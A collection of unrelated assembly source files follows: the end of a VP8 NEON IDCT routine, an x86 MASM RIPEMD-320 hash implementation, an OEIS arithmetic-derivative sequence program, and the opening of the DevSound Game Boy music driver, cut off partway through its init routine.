vst1.32 {d0[0]}, [r3], r1
vst1.32 {d0[1]}, [r3], r1
vst1.32 {d1[0]}, [r3], r1
vst1.32 {d1[1]}, [r3]
bx lr
ENDP ; |vp8_dequant_idct_add_neon|
; Constant Pool
_CONSTANTS_ DCD cospi8sqrt2minus1
cospi8sqrt2minus1 DCD 0x4e7b4e7b
sinpi8sqrt2 DCD 0x8a8c8a8c
END
|
.const
pushad_size equ 8*4
pushad_eax equ 7*4
pushad_ecx equ 6*4
pushad_edx equ 5*4
pushad_ebx equ 4*4
pushad_esp equ 3*4
pushad_ebp equ 2*4
pushad_esi equ 1*4
pushad_edi equ 0*4
.data?
RMD320HashBuf db 64 dup(?)
RMD320Len dd ?
RMD320Index dd ?
RMD320Digest dd 10 dup(?)
.code
RMD320FF macro dwA, dwB, dwC, dwD, dwE, locX, rolS
mov edi,dwB
xor edi,dwC
xor edi,dwD
add dwA,locX
add dwA,edi
rol dwA,rolS
add dwA,dwE
rol dwC,10
endm
RMD320GG macro dwA, dwB, dwC, dwD, dwE, locX, rolS, constAC
mov edi,dwC
xor edi,dwD
and edi,dwB
xor edi,dwD
add dwA,[locX]
lea dwA,[dwA+edi+constAC]
rol dwA,rolS
add dwA,dwE
rol dwC,10
ENDM
RMD320HH macro dwA, dwB, dwC, dwD, dwE, locX, rolS, constAC
mov edi,dwC
xor edi,-1
or edi,dwB
xor edi,dwD
add dwA,[locX]
lea dwA,[dwA+edi+constAC]
rol dwA,rolS
add dwA,dwE
rol dwC,10
endm
RMD320II macro dwA, dwB, dwC, dwD, dwE, locX, rolS, constAC
mov edi,dwC
xor edi,dwB
and edi,dwD
xor edi,dwC
add dwA,[locX]
lea dwA,[dwA+edi+constAC]
rol dwA,rolS
add dwA,dwE
rol dwC,10
endm
RMD320JJ macro dwA, dwB, dwC, dwD, dwE, locX, rolS, constAC
mov edi,dwD
xor edi,-1
or edi,dwC
xor edi,dwB
add dwA,[locX]
lea dwA,[dwA+edi+constAC]
rol dwA,rolS
add dwA,dwE
rol dwC,10
ENDM
align dword
RMD320Transform proc
pushad
mov edi,offset RMD320Digest
mov ebp,offset RMD320HashBuf
mov eax,[edi+0*4]
mov ebx,[edi+1*4]
mov ecx,[edi+2*4]
mov edx,[edi+3*4]
mov esi,[edi+4*4]
;==========================================================
RMD320FF eax, ebx, ecx, edx, esi, dword ptr [ebp+00*4], 11
RMD320FF esi, eax, ebx, ecx, edx, dword ptr [ebp+01*4], 14
RMD320FF edx, esi, eax, ebx, ecx, dword ptr [ebp+02*4], 15
RMD320FF ecx, edx, esi, eax, ebx, dword ptr [ebp+03*4], 12
RMD320FF ebx, ecx, edx, esi, eax, dword ptr [ebp+04*4], 05
RMD320FF eax, ebx, ecx, edx, esi, dword ptr [ebp+05*4], 08
RMD320FF esi, eax, ebx, ecx, edx, dword ptr [ebp+06*4], 07
RMD320FF edx, esi, eax, ebx, ecx, dword ptr [ebp+07*4], 09
RMD320FF ecx, edx, esi, eax, ebx, dword ptr [ebp+08*4], 11
RMD320FF ebx, ecx, edx, esi, eax, dword ptr [ebp+09*4], 13
RMD320FF eax, ebx, ecx, edx, esi, dword ptr [ebp+10*4], 14
RMD320FF esi, eax, ebx, ecx, edx, dword ptr [ebp+11*4], 15
RMD320FF edx, esi, eax, ebx, ecx, dword ptr [ebp+12*4], 06
RMD320FF ecx, edx, esi, eax, ebx, dword ptr [ebp+13*4], 07
RMD320FF ebx, ecx, edx, esi, eax, dword ptr [ebp+14*4], 09
RMD320FF eax, ebx, ecx, edx, esi, dword ptr [ebp+15*4], 08
;==========================================================
mov edi,offset RMD320Digest
pushad; store a..e 1
mov eax,[edi+5*4];a2
mov ebx,[edi+6*4];b2
mov ecx,[edi+7*4];c2
mov edx,[edi+8*4];d2
mov esi,[edi+9*4];d2
;======================================================================
RMD320JJ eax, ebx, ecx, edx, esi, dword ptr [ebp+05*4], 08, 050a28be6h
RMD320JJ esi, eax, ebx, ecx, edx, dword ptr [ebp+14*4], 09, 050a28be6h
RMD320JJ edx, esi, eax, ebx, ecx, dword ptr [ebp+07*4], 09, 050a28be6h
RMD320JJ ecx, edx, esi, eax, ebx, dword ptr [ebp+00*4], 11, 050a28be6h
RMD320JJ ebx, ecx, edx, esi, eax, dword ptr [ebp+09*4], 13, 050a28be6h
RMD320JJ eax, ebx, ecx, edx, esi, dword ptr [ebp+02*4], 15, 050a28be6h
RMD320JJ esi, eax, ebx, ecx, edx, dword ptr [ebp+11*4], 15, 050a28be6h
RMD320JJ edx, esi, eax, ebx, ecx, dword ptr [ebp+04*4], 05, 050a28be6h
RMD320JJ ecx, edx, esi, eax, ebx, dword ptr [ebp+13*4], 07, 050a28be6h
RMD320JJ ebx, ecx, edx, esi, eax, dword ptr [ebp+06*4], 07, 050a28be6h
RMD320JJ eax, ebx, ecx, edx, esi, dword ptr [ebp+15*4], 08, 050a28be6h
RMD320JJ esi, eax, ebx, ecx, edx, dword ptr [ebp+08*4], 11, 050a28be6h
RMD320JJ edx, esi, eax, ebx, ecx, dword ptr [ebp+01*4], 14, 050a28be6h
RMD320JJ ecx, edx, esi, eax, ebx, dword ptr [ebp+10*4], 14, 050a28be6h
RMD320JJ ebx, ecx, edx, esi, eax, dword ptr [ebp+03*4], 12, 050a28be6h
RMD320JJ eax, ebx, ecx, edx, esi, dword ptr [ebp+12*4], 06, 050a28be6h
;======================================================================
mov edi,[esp+pushad_eax]
mov [esp+pushad_eax],eax
mov eax,edi
; xchg eax,[esp+pushad_eax]
pushad;store a..d 2
mov eax,[esp+pushad_size+pushad_eax];a1
mov ebx,[esp+pushad_size+pushad_ebx];b1
mov ecx,[esp+pushad_size+pushad_ecx];c1
mov edx,[esp+pushad_size+pushad_edx];d1
mov esi,[esp+pushad_size+pushad_esi];d1
;======================================================================
RMD320GG esi, eax, ebx, ecx, edx, dword ptr [ebp+07*4], 07, 05a827999h
RMD320GG edx, esi, eax, ebx, ecx, dword ptr [ebp+04*4], 06, 05a827999h
RMD320GG ecx, edx, esi, eax, ebx, dword ptr [ebp+13*4], 08, 05a827999h
RMD320GG ebx, ecx, edx, esi, eax, dword ptr [ebp+01*4], 13, 05a827999h
RMD320GG eax, ebx, ecx, edx, esi, dword ptr [ebp+10*4], 11, 05a827999h
RMD320GG esi, eax, ebx, ecx, edx, dword ptr [ebp+06*4], 09, 05a827999h
RMD320GG edx, esi, eax, ebx, ecx, dword ptr [ebp+15*4], 07, 05a827999h
RMD320GG ecx, edx, esi, eax, ebx, dword ptr [ebp+03*4], 15, 05a827999h
RMD320GG ebx, ecx, edx, esi, eax, dword ptr [ebp+12*4], 07, 05a827999h
RMD320GG eax, ebx, ecx, edx, esi, dword ptr [ebp+00*4], 12, 05a827999h
RMD320GG esi, eax, ebx, ecx, edx, dword ptr [ebp+09*4], 15, 05a827999h
RMD320GG edx, esi, eax, ebx, ecx, dword ptr [ebp+05*4], 09, 05a827999h
RMD320GG ecx, edx, esi, eax, ebx, dword ptr [ebp+02*4], 11, 05a827999h
RMD320GG ebx, ecx, edx, esi, eax, dword ptr [ebp+14*4], 07, 05a827999h
RMD320GG eax, ebx, ecx, edx, esi, dword ptr [ebp+11*4], 13, 05a827999h
RMD320GG esi, eax, ebx, ecx, edx, dword ptr [ebp+08*4], 12, 05a827999h
;======================================================================
mov [esp+pushad_size+pushad_eax],eax;a1
mov [esp+pushad_size+pushad_ebx],ebx;b1
mov [esp+pushad_size+pushad_ecx],ecx;c1
mov [esp+pushad_size+pushad_edx],edx;d1
mov [esp+pushad_size+pushad_esi],esi;d1
mov eax,[esp+pushad_eax];a2
mov ebx,[esp+pushad_ebx];b2
mov ecx,[esp+pushad_ecx];c2
mov edx,[esp+pushad_edx];d2
mov esi,[esp+pushad_esi];d2
;======================================================================
RMD320II esi, eax, ebx, ecx, edx, dword ptr [ebp+06*4], 09, 05c4dd124h
RMD320II edx, esi, eax, ebx, ecx, dword ptr [ebp+11*4], 13, 05c4dd124h
RMD320II ecx, edx, esi, eax, ebx, dword ptr [ebp+03*4], 15, 05c4dd124h
RMD320II ebx, ecx, edx, esi, eax, dword ptr [ebp+07*4], 07, 05c4dd124h
RMD320II eax, ebx, ecx, edx, esi, dword ptr [ebp+00*4], 12, 05c4dd124h
RMD320II esi, eax, ebx, ecx, edx, dword ptr [ebp+13*4], 08, 05c4dd124h
RMD320II edx, esi, eax, ebx, ecx, dword ptr [ebp+05*4], 09, 05c4dd124h
RMD320II ecx, edx, esi, eax, ebx, dword ptr [ebp+10*4], 11, 05c4dd124h
RMD320II ebx, ecx, edx, esi, eax, dword ptr [ebp+14*4], 07, 05c4dd124h
RMD320II eax, ebx, ecx, edx, esi, dword ptr [ebp+15*4], 07, 05c4dd124h
RMD320II esi, eax, ebx, ecx, edx, dword ptr [ebp+08*4], 12, 05c4dd124h
RMD320II edx, esi, eax, ebx, ecx, dword ptr [ebp+12*4], 07, 05c4dd124h
RMD320II ecx, edx, esi, eax, ebx, dword ptr [ebp+04*4], 06, 05c4dd124h
RMD320II ebx, ecx, edx, esi, eax, dword ptr [ebp+09*4], 15, 05c4dd124h
RMD320II eax, ebx, ecx, edx, esi, dword ptr [ebp+01*4], 13, 05c4dd124h
RMD320II esi, eax, ebx, ecx, edx, dword ptr [ebp+02*4], 11, 05c4dd124h
;======================================================================
mov edi,[esp+pushad_size+pushad_ebx]
mov [esp+pushad_size+pushad_ebx],ebx
mov ebx,edi
; xchg ebx,[esp+pushad_size+pushad_ebx]
mov [esp+pushad_eax],eax;a2
mov [esp+pushad_ebx],ebx;b2
mov [esp+pushad_ecx],ecx;c2
mov [esp+pushad_edx],edx;d2
mov [esp+pushad_esi],esi;d2
mov eax,[esp+pushad_size+pushad_eax];a1
mov ebx,[esp+pushad_size+pushad_ebx];b1
mov ecx,[esp+pushad_size+pushad_ecx];c1
mov edx,[esp+pushad_size+pushad_edx];d1
mov esi,[esp+pushad_size+pushad_esi];d1
;======================================================================
RMD320HH edx, esi, eax, ebx, ecx, dword ptr [ebp+03*4], 11, 06ed9eba1h
RMD320HH ecx, edx, esi, eax, ebx, dword ptr [ebp+10*4], 13, 06ed9eba1h
RMD320HH ebx, ecx, edx, esi, eax, dword ptr [ebp+14*4], 06, 06ed9eba1h
RMD320HH eax, ebx, ecx, edx, esi, dword ptr [ebp+04*4], 07, 06ed9eba1h
RMD320HH esi, eax, ebx, ecx, edx, dword ptr [ebp+09*4], 14, 06ed9eba1h
RMD320HH edx, esi, eax, ebx, ecx, dword ptr [ebp+15*4], 09, 06ed9eba1h
RMD320HH ecx, edx, esi, eax, ebx, dword ptr [ebp+08*4], 13, 06ed9eba1h
RMD320HH ebx, ecx, edx, esi, eax, dword ptr [ebp+01*4], 15, 06ed9eba1h
RMD320HH eax, ebx, ecx, edx, esi, dword ptr [ebp+02*4], 14, 06ed9eba1h
RMD320HH esi, eax, ebx, ecx, edx, dword ptr [ebp+07*4], 08, 06ed9eba1h
RMD320HH edx, esi, eax, ebx, ecx, dword ptr [ebp+00*4], 13, 06ed9eba1h
RMD320HH ecx, edx, esi, eax, ebx, dword ptr [ebp+06*4], 06, 06ed9eba1h
RMD320HH ebx, ecx, edx, esi, eax, dword ptr [ebp+13*4], 05, 06ed9eba1h
RMD320HH eax, ebx, ecx, edx, esi, dword ptr [ebp+11*4], 12, 06ed9eba1h
RMD320HH esi, eax, ebx, ecx, edx, dword ptr [ebp+05*4], 07, 06ed9eba1h
RMD320HH edx, esi, eax, ebx, ecx, dword ptr [ebp+12*4], 05, 06ed9eba1h
;======================================================================
mov [esp+pushad_size+pushad_eax],eax;a1
mov [esp+pushad_size+pushad_ebx],ebx;b1
mov [esp+pushad_size+pushad_ecx],ecx;c1
mov [esp+pushad_size+pushad_edx],edx;d1
mov [esp+pushad_size+pushad_esi],esi;d1
mov eax,[esp+pushad_eax];a2
mov ebx,[esp+pushad_ebx];b2
mov ecx,[esp+pushad_ecx];c2
mov edx,[esp+pushad_edx];d2
mov esi,[esp+pushad_esi];d2
;======================================================================
RMD320HH edx, esi, eax, ebx, ecx, dword ptr [ebp+15*4], 09, 06d703ef3h
RMD320HH ecx, edx, esi, eax, ebx, dword ptr [ebp+05*4], 07, 06d703ef3h
RMD320HH ebx, ecx, edx, esi, eax, dword ptr [ebp+01*4], 15, 06d703ef3h
RMD320HH eax, ebx, ecx, edx, esi, dword ptr [ebp+03*4], 11, 06d703ef3h
RMD320HH esi, eax, ebx, ecx, edx, dword ptr [ebp+07*4], 08, 06d703ef3h
RMD320HH edx, esi, eax, ebx, ecx, dword ptr [ebp+14*4], 06, 06d703ef3h
RMD320HH ecx, edx, esi, eax, ebx, dword ptr [ebp+06*4], 06, 06d703ef3h
RMD320HH ebx, ecx, edx, esi, eax, dword ptr [ebp+09*4], 14, 06d703ef3h
RMD320HH eax, ebx, ecx, edx, esi, dword ptr [ebp+11*4], 12, 06d703ef3h
RMD320HH esi, eax, ebx, ecx, edx, dword ptr [ebp+08*4], 13, 06d703ef3h
RMD320HH edx, esi, eax, ebx, ecx, dword ptr [ebp+12*4], 05, 06d703ef3h
RMD320HH ecx, edx, esi, eax, ebx, dword ptr [ebp+02*4], 14, 06d703ef3h
RMD320HH ebx, ecx, edx, esi, eax, dword ptr [ebp+10*4], 13, 06d703ef3h
RMD320HH eax, ebx, ecx, edx, esi, dword ptr [ebp+00*4], 13, 06d703ef3h
RMD320HH esi, eax, ebx, ecx, edx, dword ptr [ebp+04*4], 07, 06d703ef3h
RMD320HH edx, esi, eax, ebx, ecx, dword ptr [ebp+13*4], 05, 06d703ef3h
;======================================================================
mov edi,[esp+pushad_size+pushad_ecx]
mov [esp+pushad_size+pushad_ecx],ecx
mov ecx,edi
; xchg ecx,[esp+pushad_size+pushad_ecx]
mov [esp+pushad_eax],eax;a2
mov [esp+pushad_ebx],ebx;b2
mov [esp+pushad_ecx],ecx;c2
mov [esp+pushad_edx],edx;d2
mov [esp+pushad_esi],esi;d2
mov eax,[esp+pushad_size+pushad_eax];a1
mov ebx,[esp+pushad_size+pushad_ebx];b1
mov ecx,[esp+pushad_size+pushad_ecx];c1
mov edx,[esp+pushad_size+pushad_edx];d1
mov esi,[esp+pushad_size+pushad_esi];d1
;======================================================================
RMD320II ecx, edx, esi, eax, ebx, dword ptr [ebp+01*4], 11, 08f1bbcdch
RMD320II ebx, ecx, edx, esi, eax, dword ptr [ebp+09*4], 12, 08f1bbcdch
RMD320II eax, ebx, ecx, edx, esi, dword ptr [ebp+11*4], 14, 08f1bbcdch
RMD320II esi, eax, ebx, ecx, edx, dword ptr [ebp+10*4], 15, 08f1bbcdch
RMD320II edx, esi, eax, ebx, ecx, dword ptr [ebp+00*4], 14, 08f1bbcdch
RMD320II ecx, edx, esi, eax, ebx, dword ptr [ebp+08*4], 15, 08f1bbcdch
RMD320II ebx, ecx, edx, esi, eax, dword ptr [ebp+12*4], 09, 08f1bbcdch
RMD320II eax, ebx, ecx, edx, esi, dword ptr [ebp+04*4], 08, 08f1bbcdch
RMD320II esi, eax, ebx, ecx, edx, dword ptr [ebp+13*4], 09, 08f1bbcdch
RMD320II edx, esi, eax, ebx, ecx, dword ptr [ebp+03*4], 14, 08f1bbcdch
RMD320II ecx, edx, esi, eax, ebx, dword ptr [ebp+07*4], 05, 08f1bbcdch
RMD320II ebx, ecx, edx, esi, eax, dword ptr [ebp+15*4], 06, 08f1bbcdch
RMD320II eax, ebx, ecx, edx, esi, dword ptr [ebp+14*4], 08, 08f1bbcdch
RMD320II esi, eax, ebx, ecx, edx, dword ptr [ebp+05*4], 06, 08f1bbcdch
RMD320II edx, esi, eax, ebx, ecx, dword ptr [ebp+06*4], 05, 08f1bbcdch
RMD320II ecx, edx, esi, eax, ebx, dword ptr [ebp+02*4], 12, 08f1bbcdch
;======================================================================
mov [esp+pushad_size+pushad_eax],eax;a1
mov [esp+pushad_size+pushad_ebx],ebx;b1
mov [esp+pushad_size+pushad_ecx],ecx;c1
mov [esp+pushad_size+pushad_edx],edx;d1
mov [esp+pushad_size+pushad_esi],esi;d1
mov eax,[esp+pushad_eax];a2
mov ebx,[esp+pushad_ebx];b2
mov ecx,[esp+pushad_ecx];c2
mov edx,[esp+pushad_edx];d2
mov esi,[esp+pushad_esi];d2
;======================================================================
RMD320GG ecx, edx, esi, eax, ebx, dword ptr [ebp+08*4], 15, 07a6d76e9h
RMD320GG ebx, ecx, edx, esi, eax, dword ptr [ebp+06*4], 05, 07a6d76e9h
RMD320GG eax, ebx, ecx, edx, esi, dword ptr [ebp+04*4], 08, 07a6d76e9h
RMD320GG esi, eax, ebx, ecx, edx, dword ptr [ebp+01*4], 11, 07a6d76e9h
RMD320GG edx, esi, eax, ebx, ecx, dword ptr [ebp+03*4], 14, 07a6d76e9h
RMD320GG ecx, edx, esi, eax, ebx, dword ptr [ebp+11*4], 14, 07a6d76e9h
RMD320GG ebx, ecx, edx, esi, eax, dword ptr [ebp+15*4], 06, 07a6d76e9h
RMD320GG eax, ebx, ecx, edx, esi, dword ptr [ebp+00*4], 14, 07a6d76e9h
RMD320GG esi, eax, ebx, ecx, edx, dword ptr [ebp+05*4], 06, 07a6d76e9h
RMD320GG edx, esi, eax, ebx, ecx, dword ptr [ebp+12*4], 09, 07a6d76e9h
RMD320GG ecx, edx, esi, eax, ebx, dword ptr [ebp+02*4], 12, 07a6d76e9h
RMD320GG ebx, ecx, edx, esi, eax, dword ptr [ebp+13*4], 09, 07a6d76e9h
RMD320GG eax, ebx, ecx, edx, esi, dword ptr [ebp+09*4], 12, 07a6d76e9h
RMD320GG esi, eax, ebx, ecx, edx, dword ptr [ebp+07*4], 05, 07a6d76e9h
RMD320GG edx, esi, eax, ebx, ecx, dword ptr [ebp+10*4], 15, 07a6d76e9h
RMD320GG ecx, edx, esi, eax, ebx, dword ptr [ebp+14*4], 08, 07a6d76e9h
;======================================================================
mov edi,[esp+pushad_size+pushad_edx]
mov [esp+pushad_size+pushad_edx],edx
mov edx,edi
; xchg edx,[esp+pushad_size+pushad_edx]
mov [esp+pushad_eax],eax;a2
mov [esp+pushad_ebx],ebx;b2
mov [esp+pushad_ecx],ecx;c2
mov [esp+pushad_edx],edx;d2
mov [esp+pushad_esi],esi;d2
mov eax,[esp+pushad_size+pushad_eax];a1
mov ebx,[esp+pushad_size+pushad_ebx];b1
mov ecx,[esp+pushad_size+pushad_ecx];c1
mov edx,[esp+pushad_size+pushad_edx];d1
mov esi,[esp+pushad_size+pushad_esi];d1
;======================================================================
RMD320JJ ebx, ecx, edx, esi, eax, dword ptr [ebp+04*4], 09, 0a953fd4eh
RMD320JJ eax, ebx, ecx, edx, esi, dword ptr [ebp+00*4], 15, 0a953fd4eh
RMD320JJ esi, eax, ebx, ecx, edx, dword ptr [ebp+05*4], 05, 0a953fd4eh
RMD320JJ edx, esi, eax, ebx, ecx, dword ptr [ebp+09*4], 11, 0a953fd4eh
RMD320JJ ecx, edx, esi, eax, ebx, dword ptr [ebp+07*4], 06, 0a953fd4eh
RMD320JJ ebx, ecx, edx, esi, eax, dword ptr [ebp+12*4], 08, 0a953fd4eh
RMD320JJ eax, ebx, ecx, edx, esi, dword ptr [ebp+02*4], 13, 0a953fd4eh
RMD320JJ esi, eax, ebx, ecx, edx, dword ptr [ebp+10*4], 12, 0a953fd4eh
RMD320JJ edx, esi, eax, ebx, ecx, dword ptr [ebp+14*4], 05, 0a953fd4eh
RMD320JJ ecx, edx, esi, eax, ebx, dword ptr [ebp+01*4], 12, 0a953fd4eh
RMD320JJ ebx, ecx, edx, esi, eax, dword ptr [ebp+03*4], 13, 0a953fd4eh
RMD320JJ eax, ebx, ecx, edx, esi, dword ptr [ebp+08*4], 14, 0a953fd4eh
RMD320JJ esi, eax, ebx, ecx, edx, dword ptr [ebp+11*4], 11, 0a953fd4eh
RMD320JJ edx, esi, eax, ebx, ecx, dword ptr [ebp+06*4], 08, 0a953fd4eh
RMD320JJ ecx, edx, esi, eax, ebx, dword ptr [ebp+15*4], 05, 0a953fd4eh
RMD320JJ ebx, ecx, edx, esi, eax, dword ptr [ebp+13*4], 06, 0a953fd4eh
;======================================================================
mov [esp+pushad_size+pushad_eax],eax;a1
mov [esp+pushad_size+pushad_ebx],ebx;b1
mov [esp+pushad_size+pushad_ecx],ecx;c1
mov [esp+pushad_size+pushad_edx],edx;d1
mov [esp+pushad_size+pushad_esi],esi;d1
mov eax,[esp+pushad_eax];a2
mov ebx,[esp+pushad_ebx];b2
mov ecx,[esp+pushad_ecx];c2
mov edx,[esp+pushad_edx];d2
mov esi,[esp+pushad_esi];d2
;==========================================================
RMD320FF ebx, ecx, edx, esi, eax, dword ptr [ebp+12*4], 08
RMD320FF eax, ebx, ecx, edx, esi, dword ptr [ebp+15*4], 05
RMD320FF esi, eax, ebx, ecx, edx, dword ptr [ebp+10*4], 12
RMD320FF edx, esi, eax, ebx, ecx, dword ptr [ebp+04*4], 09
RMD320FF ecx, edx, esi, eax, ebx, dword ptr [ebp+01*4], 12
RMD320FF ebx, ecx, edx, esi, eax, dword ptr [ebp+05*4], 05
RMD320FF eax, ebx, ecx, edx, esi, dword ptr [ebp+08*4], 14
RMD320FF esi, eax, ebx, ecx, edx, dword ptr [ebp+07*4], 06
RMD320FF edx, esi, eax, ebx, ecx, dword ptr [ebp+06*4], 08
RMD320FF ecx, edx, esi, eax, ebx, dword ptr [ebp+02*4], 13
RMD320FF ebx, ecx, edx, esi, eax, dword ptr [ebp+13*4], 06
RMD320FF eax, ebx, ecx, edx, esi, dword ptr [ebp+14*4], 05
RMD320FF esi, eax, ebx, ecx, edx, dword ptr [ebp+00*4], 15
RMD320FF edx, esi, eax, ebx, ecx, dword ptr [ebp+03*4], 13
RMD320FF ecx, edx, esi, eax, ebx, dword ptr [ebp+09*4], 11
RMD320FF ebx, ecx, edx, esi, eax, dword ptr [ebp+11*4], 11
;==========================================================
mov edi,[esp+pushad_size+pushad_esi]
mov [esp+pushad_size+pushad_esi],esi
mov esi,edi
; xchg esi,[esp+pushad_size+pushad_esi];b1<-->b2
mov ebp,offset RMD320Digest
add [ebp+5*4],eax
add [ebp+6*4],ebx
add [ebp+7*4],ecx
add [ebp+8*4],edx
add [ebp+9*4],esi
popad
popad
mov ebp,offset RMD320Digest
add [ebp+0*4],eax
add [ebp+1*4],ebx
add [ebp+2*4],ecx
add [ebp+3*4],edx
add [ebp+4*4],esi
popad
ret
RMD320Transform endp
RMD320BURN macro
xor eax,eax
mov RMD320Index,eax
mov edi,Offset RMD320HashBuf
mov ecx,(sizeof RMD320HashBuf)/4
rep stosd
endm
align dword
RMD320Init proc uses edi
xor eax, eax
mov RMD320Len,eax
RMD320BURN
mov eax,offset RMD320Digest
mov dword ptr [eax+0*4],067452301h
mov dword ptr [eax+1*4],0EFCDAB89h
mov dword ptr [eax+2*4],098BADCFEh
mov dword ptr [eax+3*4],010325476h
mov dword ptr [eax+4*4],0C3D2E1F0h
mov dword ptr [eax+5*4],076543210h
mov dword ptr [eax+6*4],0FEDCBA98h
mov dword ptr [eax+7*4],089ABCDEFh
mov dword ptr [eax+8*4],001234567h
mov dword ptr [eax+9*4],03C2D1E0Fh
ret
RMD320Init endp
align dword
RMD320Update proc uses esi edi ebx lpBuffer:dword, dwBufLen:dword
mov ebx,dwBufLen
add RMD320Len,ebx
.while ebx
mov eax,RMD320Index
mov edx,64
sub edx,eax
.if edx <= ebx
lea edi, [RMD320HashBuf+eax]
mov esi, lpBuffer
mov ecx, edx
rep movsb
sub ebx, edx
add lpBuffer, edx
call RMD320Transform
RMD320BURN
.else
lea edi, [RMD320HashBuf+eax]
mov esi, lpBuffer
mov ecx, ebx
rep movsb
mov eax, RMD320Index
add eax, ebx
mov RMD320Index,eax
.break
.endif
.endw
ret
RMD320Update endp
align dword
RMD320Final proc uses esi edi
mov ecx, RMD320Index
mov byte ptr [RMD320HashBuf+ecx],80h
.if ecx >= 56
call RMD320Transform
RMD320BURN
.endif
mov eax,RMD320Len
xor edx,edx
shld edx,eax,3
shl eax,3
mov dword ptr [RMD320HashBuf+56],eax
mov dword ptr [RMD320HashBuf+60],edx
call RMD320Transform
mov eax,offset RMD320Digest
ret
RMD320Final endp
|
; A068721: Arithmetic derivative of cubes: a(n) = 3*n^2*A003415(n).
; 0,12,27,192,75,540,147,2304,1458,2100,363,6912,507,5292,5400,24576,867,20412,1083,28800,13230,18876,1587,76032,18750,30420,59049,75264,2523,83700,2883,245760,45738,65892,44100,233280,4107,90972,73008,326400,5043,216972,5547,278784,236925,158700,6627,774144,100842,337500,156060,454272,8427,708588,145200,865536,214434,312852,10443,993600,11163,380556,607257,2359296,228150,797148,13467,998784,371358,867300,15123,2426112,15987,640692,928125,1386240,320166,1295892,18723,3379200,2125764,867396,20667,2624832,476850,998460,726624,3252480,23763,2988900,496860,2437632,882198,1298892,649800,7520256,28227,2218524,2205225,4200000,30603,2840292,31827,5321472,2348325,1853940,34347,7558272,35643,3158100,1478520,9031680,38307,3937788,1110900,4844160,3572829,2548092,1019592,10540800,966306,2813076,1997028,5904384,3515625,7858620,48387,22020096,2296458,5120700,51483,9827136,1379742,3716892,8857350,11763456,56307,6912972,57963,11054400,2982150,4415916,1472328,23887872,2144550,4796100,5899257,9988224,66603,12487500,68403,16357632,7795197,8039724,2594700,16061760,73947,6066252,4247208,33177600,2332890,23383404,79707,13555584,8412525,7026780,83667,28111104,2227758,11184300,10789929,15620352,89787,13715028,8728125,34197504,5827194,8649732,96123,32659200,98283,13017732,6429888,28845312,4312350,16709868,2937396,20358144,23147208,15486900,109443,70778880,111747,11177892,13574925,29042496,116427,29285388,118803,45600000,8484210,12608436,4450572,35456832,5799450,13367340,18896409,56070144,3931290,32678100,133563,29123712,10071918,14975292,6656400,75582720,5368146,15825492,10935108,41236800,4395690,28239732,149187,89112576,36450000,17621220,154587,49280832,157323,27137700,20970873,57484032,162867,47801988,8615100,40101120,13817574,28378644,171363,105062400,174243,28989180,71744535,44294784,21428925,38306628,5856864,70114560,15996258,51562500
add $0,1
pow $0,3
cal $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).
mul $0,2
add $0,1438
mul $0,2
sub $0,320
mov $1,$0
sub $1,2556
div $1,12
mul $1,3
|
; ================================================================
; DevSound - a Game Boy music system by DevEd
;
; Copyright (c) 2017 - 2018 DevEd
;
; Permission is hereby granted, free of charge, to any person obtaining
; a copy of this software and associated documentation files (the
; "Software"), to deal in the Software without restriction, including
; without limitation the rights to use, copy, modify, merge, publish,
; distribute, sublicense, and/or sell copies of the Software, and to
; permit persons to whom the Software is furnished to do so, subject to
; the following conditions:
;
; The above copyright notice and this permission notice shall be included
; in all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
; EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
; MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
; IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
; CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
; TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
; SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; ================================================================
; Uncomment the following line to enable custom hooks.
; UseCustomHooks set 1
; Uncomment the following line if you want the DevSound player code to be in ROM0 instead of its own bank.
; Could be useful for multibank setups.
; TODO: Make some tweaks to song data format to allow for multiple banks
; UseROM0 set 1
; Uncomment the following line if you want to include song data elsewhere.
; Could be useful for multibank setups.
; TODO: Make some tweaks to song data format to allow for multiple banks
; DontIncludeSongData set 1
; Comment the following line to disable SFX support (via FX Hammer).
; Useful if you want to use your own sound effect system.
; (Note that DevSound may require some minor modifications if you
; want to use your own SFX system.)
UseFXHammer set 1
; Uncomment this to disable all time-consuming features
; This includes: wave buffer, PWM, random wave, zombie mode,
; wave volume scaling, channel volume
; WARNING! THIS IS CURRENTLY BROKEN. DO NOT USE!
; DemoSceneMode set 1
; Uncomment this to to disable wave volume scaling.
; PROS: Less CPU usage
; CONS: Less volume control for CH3
NoWaveVolumeScaling set 1
; Uncomment this to disable zombie mode (for compatibility
; with old emulators such as VBA).
; PROS: Less CPU usage
; Compatible with old emulators such as VBA
; CONS: Volume envelopes will sound "dirtier"
DisableZombieMode set 1
; Comment this line to enable Deflemask compatibility hacks.
DisableDeflehacks set 1
; Uncomment this line to enable FX Hammer disassembly support
UseFXHammerDisasm set 1
DevSound:
include "DevSound_Vars.asm"
include "DevSound_Consts.asm"
include "DevSound_Macros.asm"
SECTION "DevSound",romx,bank[1]
if !def(UseCustomHooks)
DevSound_JumpTable:
DS_Init: jp DevSound_Init
DS_Play: jp DevSound_Play
DS_Stop: jp DevSound_Stop
DS_Fade: jp DevSound_Fade
DS_ExternalCommand: jp DevSound_ExternalCommand
endc
; Driver thumbprint
db "DevSound GB music player by DevEd | email: deved8@gmail.com"
; ================================================================
; Init routine
; INPUT: a = ID of song to init
; ================================================================
DevSound_Init:
ld b,a ; Preserve song ID
xor a
ldh [rNR52],a ; disable sound
ld [PWMEnabled],a
ld [RandomizerEnabled],a
ld [WaveBufUpdateFlag],a
; init sound RAM area
ld de,InitVarsStart
ld c,DSVarsEnd-InitVarsStart
ld hl,DefaultRegTable
.initLoop
ld a,[hl+]
ld [de],a
inc de
dec c
jr nz,.initLoop
ld e,b ; Transfer song ID
; load default waveform
ld hl,DefaultWave
call LoadWave
; clear buffers
call ClearWaveBuffer
call ClearArpBuffer
; set up song pointers
ld hl,SongPointerTable
ld d,0
add hl,de
add hl,de
ld a,[hl+]
